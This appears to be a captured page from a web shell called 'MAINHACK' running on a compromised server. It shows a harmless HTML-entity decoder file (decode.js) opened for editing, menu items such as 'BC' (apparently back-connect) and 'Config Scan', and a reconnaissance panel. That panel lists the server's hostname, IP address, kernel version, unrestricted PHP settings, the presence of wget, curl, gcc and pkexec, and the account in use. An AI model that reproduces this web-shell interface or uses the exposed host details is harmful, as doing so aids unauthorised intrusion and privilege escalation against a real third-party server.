[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: decode.js
"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); exports.decodeHTML = exports.decodeHTMLStrict = exports.decodeXML = void 0; var entities_json_1 = __importDefault(require("./maps/entities.json")); var legacy_json_1 = __importDefault(require("./maps/legacy.json")); var xml_json_1 = __importDefault(require("./maps/xml.json")); var decode_codepoint_1 = __importDefault(require("./decode_codepoint")); var strictEntityRe = /&(?:[a-zA-Z0-9]+|#[xX][\da-fA-F]+|#\d+);/g; exports.decodeXML = getStrictDecoder(xml_json_1.default); exports.decodeHTMLStrict = getStrictDecoder(entities_json_1.default); function getStrictDecoder(map) { var replace = getReplacer(map); return function (str) { return String(str).replace(strictEntityRe, replace); }; } var sorter = function (a, b) { return (a < b ? 1 : -1); }; exports.decodeHTML = (function () { var legacy = Object.keys(legacy_json_1.default).sort(sorter); var keys = Object.keys(entities_json_1.default).sort(sorter); for (var i = 0, j = 0; i < keys.length; i++) { if (legacy[j] === keys[i]) { keys[i] += ";?"; j++; } else { keys[i] += ";"; } } var re = new RegExp("&(?:" + keys.join("|") + "|#[xX][\\da-fA-F]+;?|#\\d+;?)", "g"); var replace = getReplacer(entities_json_1.default); function replacer(str) { if (str.substr(-1) !== ";") str += ";"; return replace(str); } // TODO consider creating a merged map return function (str) { return String(str).replace(re, replacer); }; })(); function getReplacer(map) { return function replace(str) { if (str.charAt(1) === "#") { var secondChar = str.charAt(2); if (secondChar === "X" || secondChar === "x") { return decode_codepoint_1.default(parseInt(str.substr(3), 16)); } return decode_codepoint_1.default(parseInt(str.substr(2), 10)); } // eslint-disable-next-line @typescript-eslint/prefer-nullish-coalescing return map[str.slice(1, -1)] || str; }; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002